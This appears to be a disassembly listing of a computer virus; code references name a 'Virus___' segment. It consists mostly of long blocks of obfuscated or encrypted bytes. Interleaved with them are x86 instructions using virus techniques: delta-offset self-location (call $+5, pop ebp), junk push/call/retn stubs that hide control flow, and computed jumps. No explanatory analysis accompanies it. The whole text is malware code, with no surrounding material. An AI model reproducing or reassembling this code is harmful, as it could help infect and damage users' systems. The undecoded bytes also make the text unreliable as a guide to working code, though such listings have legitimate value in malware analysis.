3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 2DC35545h, 86368B39h, 0EE9B08E4h, 8BF3B70Fh dd 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 7C352h, 0F53AEB03h, 0C9BD8912h dd 0C7071B17h, 1B32D585h, 0EE271507h, 55006A1Bh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 3C1F263Dh, 0B5096E00h, 71B0A9Dh, 1EE9B509h, 0C08B071Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B2C35040h dd 9CEA1C7Dh, 0BE6653F9h, 815E6EFDh, 1B2BFDBDh, 7D007h dd 32850F00h, 0E8000000h, 5, 0CD578A92h, 85FF5FCEh, 71B2BFDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BDC35343h dd 0BDA8689Eh, 0FDB5FF63h, 8B071B2Bh, 1B0331B5h, 8995FF07h dd 6A071B12h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 4066C355h, 6D072350h, 11E9h, 3DF62A00h dd 9B33DA9Fh, 25CD8C6Bh, 0F9E4BDDBh, 0B52BEE46h, 71B2B81h dd 5678B890h, 8B661234h, 799D89FBh, 8D071B35h, 1ECAA79Dh dd 0F80BE907h, 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 624605C3h, 8F0F9512h, 17h, 0BE8h dd 9CD96600h, 0BB3B2691h, 0F5CC9A6Fh, 458D895Fh, 0F071B21h dd 0C84h, 9850900h, 89071B2Bh, 1B00859Dh, 6AC18B07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0EB01C356h, 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 1C5C541h, 53006A85h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0EF7C0383h, 8B607CC2h, 1B1AED8Dh, 68E0F07h, 81000000h dd 0FFE9F7F1h, 858D6119h, 71B1255h, 0CE9h, 0C1CC4600h dd 9FA94C80h, 0DEE24596h, 5E8505Eh, 78000000h, 0E7DE9D80h dd 0B607BE66h, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 56C35747h, 0F28B66BAh, 0CE9h, 0FCBC5A00h dd 0F86B0741h, 71863D27h, 8B006A1Bh, 1B21C9BDh, 0E8006A07h dd 9, 35A350C0h, 0C5CDACD7h, 0B849BE59h, 0BF5F50EEh, 63F6FEDh dd 0CD3D858Dh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 6A81AEC3h, 4C097970h, 0B50988C0h dd 71B24DDh, 8105C083h, 0D1C977D7h, 0AE89070h, 0CF000000h dd 0BC876E51h, 0C1FC3C1Bh, 0F38B66D0h dd 5250505Eh, 128A0Fh, 0DE90000h, 8000000h, 684D58FFh dd 74BEDD31h, 3A0B7CBFh, 860F310Fh, 2, 585A6160h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 52D855DFh, 9B31FECBh, 89572441h, 1B0559BDh, 6A5F07h dd 0E61BD8Bh, 6A071Bh, 35498589h, 0EDBF071Bh, 0FF7117EFh dd 1B1EA995h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0AA51537Dh, 9C9D8DF5h, 6A071E97h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 1639C355h, 0ACABBE19h, 0D3FF6698h, 366668BFh dd 4D85FF40h, 6A071B26h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 8DAC355h, 15B58BA1h dd 0E9071B15h, 857h, 0E8h, 0ED815D00h, 71ECD47h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 4DC35747h, 485EA2C2h dd 1FD98589h, 8D29071Bh, 71B2EE9h, 2BFDBD81h, 7D0071Bh dd 860F0000h, 159h, 0AE9h, 819D1500h, 43C30A7Fh, 8B2C4C95h dd 1B12E99Dh, 9E907h, 0E0590000h, 0B185F4CBh, 0F3BFFA1h dd 0E381F6BFh, 100h, 0FDB0BF8h, 9B85h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 91817703h, 89C2B851h, 1B004D85h, 14E807h, 93400000h dd 0D1561823h, 44AC80E1h, 0A1DAA5C8h, 2D3CFA52h, 0BD331E17h dd 71B12EDh, 2FBD835Eh, 71ECBh, 0F840Fh, 0BF660000h, 70E96A94h dd 29000000h, 1B2FC195h, 2F85C707h, 1071ECBh, 8B000000h dd 1B2CFDB5h, 55E907h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 9F761AC3h, 158139Dh dd 0CB2F85C7h, 71Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 7ED432C3h, 3D62F336h dd 28CF81D3h, 8D1BCC76h, 1B12E99Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D699EBB8h dd 0E36FFA77h, 35BD8BE3h, 81071B13h, 0FFFEFF23h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FBBF0F1Fh, 0DB8C66F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 19C35343h, 0C39F3C2Ch, 12E886h, 55200000h dd 8277EE03h, 73924BCDh, 2E260AC8h, 6ED4B76h, 318D8960h dd 8B071B13h, 1B2F81BDh, 295F6107h, 1B2FC995h, 4C3F607h dd 5A840Fh, 8D0F0000h, 4, 0E6FFBE66h, 859EBE66h, 2A0995FFh dd 9529071Bh, 71B18E1h, 0AE890h, 23110000h, 0F476A196h dd 7AD9A86h, 6A90505Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0B4BEC351h, 158895D7h dd 68A0Fh, 0BD8B0000h, 71B0C01h, 419E9h, 0C9B50300h, 0B0071B29h dd 95B58900h, 0E6071B31h, 55006A70h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BE6624E6h dd 9D891B9Eh, 71B2C39h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0F48059C3h, 2CADB589h dd 0BE66071Bh, 0B58931E4h, 71B28D1h, 0BFD8B60Fh, 5ACDC4DCh dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 9F05DD2Eh, 0C38B3012h, 57D88160h dd 8B7D2D9Dh, 0E8C161DFh, 89B52304h, 9071B0Bh, 1B24B1BDh dd 0E2F76607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0F7C35747h, 85958928h, 2B071B04h, 55006AD8h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8150DE9Ch, 983C94D7h, 0F38B930Dh, 0F08B6650h, 51006A93h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0B0F705C5h, 0B5FFBF37h, 71B2BFDh, 29259509h, 95FF071Bh dd 71B1289h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 85C35141h, 6B829D9Ch, 0C9BD8935h, 0B0071B29h, 1820F00h dd 0F5000000h, 0CE970E6h, 0E0000000h, 0E6B91FC9h, 5C1253E8h dd 0E4DE3719h, 57006A71h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8B198615h, 1B0D3DBDh dd 0F613C07h, 27183h, 3DBD8900h, 0F071B23h, 6AD8B6h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 910346C3h, 797490C3h, 0BD893305h, 71B29F5h, 7A52E7BEh dd 6BA6Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0C38B67C3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 9CC35141h, 0A020025Eh, 0E8159E20h dd 259DBD89h, 0E8C1071Bh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8E65AFC4h dd 6656251Eh, 5E693FBFh, 0C1815060h, 68C02F5Eh, 0F59D2958h dd 61071B1Fh, 6AE2F766h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 28D7C351h, 11F1BD8Bh dd 0B58B071Bh, 71B2851h, 0BE8D82Bh, 1F000000h, 2999945Ch dd 0B60D4991h, 800F8E97h, 2, 605F6160h, 28BD9D8Bh, 9D8B071Bh dd 71B2A55h, 51BF5861h, 2B5D22C5h, 4F880FD8h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0E414C355h, 8D8907F6h, 71B18A9h, 7B9h, 0C183FC00h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 77BE5EE0h, 8B4AE052h, 1B1881BDh, 0FD93B07h dd 0F186h, 860F00h, 66000000h, 3E4BCF81h, 0F9D98C66h, 0F04C1F6h dd 9984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 42427B77h, 7E9h, 4D6EB700h, 0AEB742AEh dd 0F5BD89h, 8166071Bh, 0FFC9D4F6h, 1B2A0995h, 41BD0907h dd 5B071B04h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 45C35646h, 0C32B67CAh, 6850Fh, 9D890000h, 71B0D85h dd 60C68166h, 8343D5Eh, 860F0000h, 1Ah, 0AE9h, 1514D200h dd 0B4B1CE66h, 0E9359E40h, 46h, 275DB58Bh, 0C08B071Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E6C35343h dd 0F987A1A9h, 0BE9h, 0CD887D00h, 5ACC3149h, 59251B33h dd 88D0Fh, 8B510000h, 1B32CDB5h, 0C38B5E07h, 820FD88Bh dd 5, 8EEF8166h, 0A585C786h, 53071B17h, 0E9198C6Bh, 5 dd 900DABD3h, 0D1B5895Eh, 8B071B2Bh, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD81465Bh dd 71B2BFDh, 7D0h, 26850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 57F24AC3h dd 85FFA945h, 71B2BFDh, 2BFDB5FFh, 0B529071Bh, 71B28C1h dd 128995FFh, 8E8071Bh, 0D2000000h, 0F551492h, 892329ABh dd 1B296185h, 9905E07h, 1B2F7995h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C301DBh, 0B58B86EFh dd 71B2801h, 0DE9h, 5965F00h, 9F8AEA9Ah, 4F37C041h, 0F78B3095h dd 60F8B70Fh, 6820Fh, 0BD8B0000h, 71B2D45h, 2699B509h dd 0F61071Bh, 88Bh, 0F7816600h, 0B70F4101h, 57006AF0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 6367BFA5h, 0E0D9125h, 95890000h, 71B0CD9h, 9830Fh, 0F8600000h dd 2C15958Bh, 0BE61071Bh, 2496B4DBh, 6800Fh, 0BD8B0000h dd 71B2C1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 40C35040h, 0E3F93BCCh, 8C1FB685h, 0EE9h, 7E474F00h dd 8A3715C7h, 784C015Ah, 0E98FA9DCh, 5, 0E159774Bh, 55006AF8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 19BBFD81h, 0D1E94D54h, 6AFFFFF7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0BB98C352h dd 606541EAh, 0D19D8954h, 0E9071B04h, 18h, 45D12F52h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_578CA5 ; --------------------------------------------------------------------------- db 84h, 7Ah, 0A1h dd 6EA34A02h, 34E513DDh, 0C31EDD97h, 8F50A820h, 105BC2FCh dd 0DC9437E8h, 0A32DFE13h, 70F88B56h, 5CB05384h, 3B36817Ah dd 28BA94C2h, 40373F04h, 17AF60B5h, 65FBDA85h, 777F8DA3h dd 8870E05Fh, 0D8E4B457h, 669409BAh, 287AB5h, 1E092093h dd 0FA35EE16h, 80300AD2h, 368E2912h, 18128DA4h, 0EB892D0h dd 40EF1719h, 0A3BF4097h, 0A9BAC08Dh, 0AAD6F303h, 0F77EF40Ch dd 0B9D1ED22h, 5386711Bh, 0DE2719D4h, 96895CA9h, 2F2BE43Ch dd 46A8ABEBh, 32ED2ECCh, 6D1CBB60h, 969C8DA3h, 82579F91h dd 4F9267E1h, 0D5D0ECBCh, 53867107h, 0C21DC42Bh, 0F32ECB45h dd 889815A1h, 0F6B2F602h, 618A7A31h, 0E2D2EAA8h, 8B6F260h dd 1704D38Ch, 6E848DA4h, 0F01AD156h, 0E415CC04h, 1AE26A39h dd 35874EC1h, 8C8DA417h, 847CB36Ch, 0F868A778h, 6189DB0Ch dd 5E792231h, 0E28DA417h, 8195B0C8h, 0F5708B51h, 0BEC89387h dd 86AB9CB5h, 4Fh, 41AAA416h, 143F9788h, 8DA422C1h, 0D4E22541h dd 2DE2373Fh, 0A3665562h, 83D3478Dh, 88A69E59h, 11193h dd 3FC50000h, 63B64136h, 8A84D44Bh, 0F779AE63h, 0EC64DB0Eh dd 0F55DD20Fh, 0D31AD101h, 0CA805D9Ch, 9D31EE23h, 0C62EA645h dd 3F507E0Dh, 3729E63Bh, 87FA0BCEh, 0F006D18Ah, 608A8DA3h dd 95DE1F58h, 0A5FD14DFh, 0B2E2B66Ah, 8558A5AFh, 50F388Ah dd 0D19B28F5h, 0C53FF025h, 9135EA37h, 1C4E4D85h, 0CD568B72h dd 8DA459EAh, 6D56446Eh, 8DA45A4Ah, 0E063A4CEh, 9387B437h dd 8851A7A1h, 6386510Ah, 0E00A8DA4h, 8A0227h, 0E7F40000h dd 56C688DFh, 0C3B9343Fh, 9A28E73Ah, 8A57A3ADh, 26114395h dd 8DA4078Fh, 242C1B13h, 0C0A05D6h, 0EB34C44Eh, 0DC569E34h dd 0C6BC47Eh, 0E030E621h, 7F0CD129h, 67D805F5h, 5CD30EEDh dd 31EA5C4Eh, 8DA3D6A6h, 0D6C510CBh, 29458DA3h, 0EAA3708Ah dd 0A878EE09h, 93C39790h, 888E9E49h, 47F193h, 3FA50000h dd 3729E63Bh, 4BBD1FC2h, 0A3664590h, 7EA9C58Dh, 791345B3h dd 34EA5D80h, 0AAD525DCh, 0EC32A41h, 0E50DDEF6h, 2CE3363Fh dd 0A3665765h, 81D1458Dh, 88A5A05Bh, 886E1893h, 5CD306F1h dd 58F92E46h, 1, 9A393F3Ah, 7FE07542h, 9D867008h, 8DA3683Ah dd 3E9CB4BEh, 67C413CCh, 2E448DA3h, 929546B4h, 4C816DE7h dd 0E749BBD3h, 0C8538E6Dh, 8DA367EDh, 10C6416Dh, 54F309C0h dd 0A3684C6Bh, 8EA6CC8Dh, 0C30C0BFDh, 9E34EB36h, 4BC419E4h dd 0D771237Bh, 1A32F52Ch, 0AE3C0721h, 4CC3EB94h, 54F728D4h dd 80BF509Ch, 0BE92F8C1h, 0A5174194h, 0BE92DBFAh, 9D575F94h dd 3082BD50h, 38F323F7h, 80481BCCh, 26FB0174h, 0D71F110Eh dd 8B5F0D02h, 0B364904Bh, 78AE4910h, 35E18C6Dh, 0D5000001h dd 6F2DC047h, 0AE6CE6B4h, 51CEE494h, 30ED0D07h, 27FA05FFh dd 8582DAE8h, 0ECAE638Bh, 7EF6C1BAh, 707A94BEh, 10DC94B7h dd 24D040FFh, 0D8883CF3h, 4EF9978h, 12DA5ACDh, 78B32AF9h dd 378C6D8Dh, 4Ah, 2ABF471Bh, 0E00C0668h, 0EE29F82Fh, 0F23C0989h dd 399C47F8h, 280DA365h, 252190C0h, 7EA01280h, 2FF429D4h dd 0DA36488h, 6310C531h, 2DA945Bh, 0D1E902EFh, 0F712EBA9h dd 4BFC0206h, 89A9D98h, 0B2515DBCh, 0A743h, 0C0472F00h dd 423D6F2Dh, 8DA36673h, 3CF328CEh, 6ED9D566h, 6E07453Eh dd 3A8294AEh, 97620508h, 0E116224Ah, 0A5E53BC6h, 59714A35h dd 0D8575FEEh, 0B84B9C68h, 1C13C430h, 56AEE0FCh, 5372B73Ah dd 145C74A5h, 0D6FDC8F7h, 4C1710BAh, 94BF40E0h, 70ABEB2Fh dd 0E0B05384h, 0CA459E66h, 40FED982h, 688294BFh, 2225D750h dd 1D2E098Bh, 919BC48Bh, 42AA9A95h, 16449689h, 0E85FF07Ch dd 0DC5BDE36h, 8C7807F3h, 0B60C035Bh, 0E4123C9Eh, 7DAAF837h dd 0BEFB702Bh, 777F94ADh, 9C02B25h, 516D3F1Eh, 390E98E4h dd 1AB473E1h, 6F2DC047h, 0A8B0B7B4h, 0FC333B94h, 7527F804h dd 49FE13DBh, 459E66EEh, 66260BCAh, 2EB55F8h, 14E050CFh dd 47664CC3h, 250E5139h, 66AE7A88h, 41914509h, 0EE0B628Ah dd 8EA6FC33h, 568B73FDh, 0EB9067D9h, 7AB5CD0Ch, 76A9628Ah dd 63DC75FEh, 7E177F2Bh, 0C1BAEC5Eh, 0D37472F6h, 71FA707Ah dd 5BBB6FD8h, 0E08354A0h, 0CE6D96B0h, 7472C215h, 142C46D3h dd 949C8B1Bh, 5078B768h, 72A235EEh, 0C26D374h, 0B601Bh dd 16300000h, 0B96296EDh, 0D08A661h, 1C353FF1h, 10C53123h dd 9D4251Fh, 3CD51E16h, 34E91103h, 2CF109FBh, 27FA01F3h dd 598278E8h, 52876EE6h, 6E68D3DDh, 8900004Fh, 8957242Ch dd 4C781E7h, 83000000h, 3C8704EFh, 14895C24h, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 56243489h, 494DBA52h dd 0D6891532h, 7E6C15Ah, 0DEF7DEF7h, 459FF681h, 0CE814C70h dd 58F23CB7h, 0D5FCC681h, 0F2892927h, 348B545Eh, 4C48324h dd 57D78957h, 5F08468Fh, 5E2434FFh, 8B04C483h, 89502414h dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFCA284h dd 0F3106163h, 85DCF414h db 0E9h ; --------------------------------------------------------------------------- loc_578CA5: ; CODE XREF: Virus___:00578720j mov eax, 71EDAACh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dec ecx pop eax mov al, ds:5E92E62Dh push ecx cmp [ebx], dl cmp [edi+ecx*2-52h], ecx cmp eax, 10AA6C73h cmp al, 2 jmp esi ; --------------------------------------------------------------------------- db 9, 96h, 69h dd 0B9827393h, 89F65C31h, 7E254A4Ch, 3EB637E6h, 0E47F4E30h dd 3F692687h, 0B3674766h, 0F3FD7812h, 0A1B10A8Eh, 0A509164Dh dd 0C074472Fh, 0F5E079ABh, 855C2FC6h, 0CA07241Bh, 729C5A6Eh dd 0A8742D0h, 640A1A30h, 0ECFB2F33h, 0C18B5316h, 2A69BD8Bh dd 8D0F071Bh, 1, 4EBF8h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0BED6C351h dd 84C446BFh, 8160F13Bh, 0E2E6E8E7h, 98D3133h, 0F071B2Bh dd 68Ch, 0B9BD8900h, 8D071B24h, 1B125585h, 91BD8B07h, 90071B13h dd 5250FB8Bh, 6E9h, 4F5CA800h, 5ED59E60h, 50006A90h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 2F75902Ah, 586BA75Fh, 0F1B70F69h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 12E9EDC3h dd 45000000h, 0B36D11A7h, 32CC29EAh, 21C4A923h, 9C3CBBCAh dd 89006AAAh, 1B1FCDBDh, 0A3858D07h, 6A071EDDh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 135FC350h, 55A28302h, 0C0833B8Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8F0F95CBh dd 6, 2C45B58Bh, 0E850071Bh, 7, 933F8FF2h, 8BBCC130h, 4895FF3h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 371A097Fh, 6A006A29h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E624C351h dd 4B97E92Dh, 5D8529BCh, 6A071B23h, 97BE6600h, 0A995FF14h dd 6A071B1Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 360BC355h, 0C1B58B06h, 8B071B12h dd 1B09E5B5h, 9C9D8D07h, 6A071E97h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 41BFC357h dd 2FF19D89h, 890F071Bh, 0 ; --------------------------------------------------------------------------- call ebx movsx esi, dx inc dword ptr [ebp+71B264Dh] sbb edi, 7A0953B7h jmp loc_5796F5 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 71EDDADh cld cmp dword ptr [ebp+71B2BFDh], 7D0h jbe loc_579084 mov ebx, [ebp+71B2D95h] push 0 push ecx call sub_578F40 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_578F40 proc near ; CODE XREF: Virus___:00578F38p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_578F40 endp ; --------------------------------------------------------------------------- dd 8B659A4Eh, 81D19AD2h, 100E3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8D31B423h dd 71B09F1h, 850FDB0Bh, 0C9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 8C35545h, 0D5D21C05h, 0FB7166CEh dd 31A1BD03h, 0BD83071Bh, 71EDBB9h, 51840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0B9C5C355h, 0E83AC46Ch, 0E9FB8B66h, 79h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D6C35242h dd 49BD899Dh, 0BE071B24h, 4C86343Dh, 0DBB985C7h, 1071Eh dd 0AE90000h, 69000000h, 43A7078Dh, 0DDF04C19h, 33E967h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0AED9F8C3h, 0BD9F56h, 0B985C719h, 71EDBh dd 89000000h, 1B16918Dh, 959D8D07h, 0F071B2Dh, 2381F8BFh dd 0FFFFFEFFh, 26E1BD8Bh, 850F071Bh, 8, 0D5858950h, 5E071B30h ; --------------------------------------------------------------------------- loc_579084: ; CODE XREF: Virus___:00578F29j mov bx, ds push 0 push ecx call sub_579092 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579092 proc near ; CODE XREF: Virus___:0057908Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_579092 endp ; --------------------------------------------------------------------------- mov cl, 0DAh adc eax, 4B70AC4Ch pop ss mov esp, 0D13FBF66h test bl, 4 jz loc_57910D mov edi, ebx call dword ptr [ebp+71B2A09h] push 0 push edx call sub_5790CB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5790CB proc near ; CODE XREF: Virus___:005790C3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5790CB endp ; --------------------------------------------------------------------------- lahf jmp fword ptr [ecx+3A265E98h] ; --------------------------------------------------------------------------- dw 7E62h ; --------------------------------------------------------------------------- push eax mov [esp], eax push 0 push eax call sub_5790F3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5790F3 proc near ; CODE XREF: Virus___:005790EBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5790F3 endp ; --------------------------------------------------------------------------- db 68h dd 42BDAA7h, 0F5B82A86h db 88h ; --------------------------------------------------------------------------- loc_57910D: ; CODE XREF: Virus___:005790B2j jmp loc_579516 ; --------------------------------------------------------------------------- dw 0B0h dd 0E6F78B66h, 0E4F88B70h, 29F08B71h, 1B14E9BDh, 0D8B60F07h dd 12E9h, 0CE4B3900h, 6E72887Ch, 25D36A62h, 55D63781h dd 0BAC98899h, 6, 12258D89h, 0C38B071Bh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 0FAC35040h, 38CA8C92h dd 0E8C1DDA3h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 7E8F2h, 9D2D0000h, 573ABD29h dd 2DB5897Dh, 5F071B0Ch, 2595B58Bh, 0F766071Bh, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 8ECB42BAh, 0C78166E4h, 0D82B6D58h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 12C35747h, 88205A43h, 1921B58Bh dd 0E850071Bh, 7, 67C5BB79h, 57B46C89h, 5F5E5E53h, 6A241C89h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 7B5C351h, 782D4F5Fh, 0C187F9D7h, 2BFDB5FFh dd 61BE071Bh, 8B095AE8h, 1B1635B5h, 8995FF07h, 6A071B12h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0C146C355h, 0AF80DA7Ah, 6E9A1h, 6E9F0000h dd 7DED20A5h, 0BF0F00B0h, 0E470E6F9h, 55006A71h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 4E14DD77h, 530EBE66h, 830F613Ch, 26Eh, 0ADB52960h, 8B071B29h dd 1B055595h, 0B60F6107h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DFD04310h dd 731B26Ch, 0BD03991Bh, 71B2301h, 1741B58Bh, 0B58B071Bh dd 71B20E5h, 6BAh, 90BE6600h, 89C38B65h, 1B2DC195h, 4E8C107h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F0C35545h dd 0CCAA8D8Ah, 0C9E4CD65h, 0F766F5CBh, 6E960E2h, 0D3000000h dd 61978FDAh, 0D780563Ch, 0BE615F5Ah, 639583DAh, 6AD82Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 162D95C3h, 7C35A6F5h, 9D89DAD9h, 71B11DDh, 4AD68158h dd 2B7BBD55h, 97880FD8h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3FA0C355h dd 0B50B0FBAh, 71B336Dh, 7B9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0D2F79725h dd 5E776A2Eh, 0DF81FD8Bh, 5E615BDEh, 2870Fh, 0FE8B0000h dd 3B00C183h, 2F860FD9h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0C9C3C355h dd 95CDFCE8h, 667DD836h, 810FD98Ch, 6, 2B4E681h, 0DE90664h dd 30000000h, 98A4BFECh, 4A430253h, 0EACC61C7h, 0F04C1F6h dd 0BA84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0AFD51D58h, 0F78B2CECh, 2A0995FFh dd 8B66071Bh, 6A5BFBh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 89CDBCC3h, 1B1199B5h, 6AC32B07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0BBF4C356h, 0D92B85B6h, 17E79EFh, 2EC5B58Bh dd 343D071Bh, 0F000008h, 3286h, 58A0F00h, 66000000h, 7D16C781h dd 49E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 992A816Eh, 8BFB8B66h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 18D32FF9h, 95BE8C26h db 59h, 0F7h ; --------------------------------------------------------------------------- loc_579516: ; CODE XREF: Virus___:loc_57910Dj mov eax, ebx mov ebx, eax mov [ebp+71B2EB1h], eax mov dword ptr [ebp+71B12E9h], 7AB963DDh call sub_579537 not ah push edx iret ; --------------------------------------------------------------------------- db 0B4h db 36h, 99h, 2Bh ; =============== S U B R O U T I N E ======================================= sub_579537 proc near ; CODE XREF: Virus___:0057952Ap pop edi mov eax, eax push 0 push ebx call sub_579545 and [ebx-3Dh], bl sub_579537 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_579545 proc near ; CODE XREF: sub_579537+6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_579545 endp 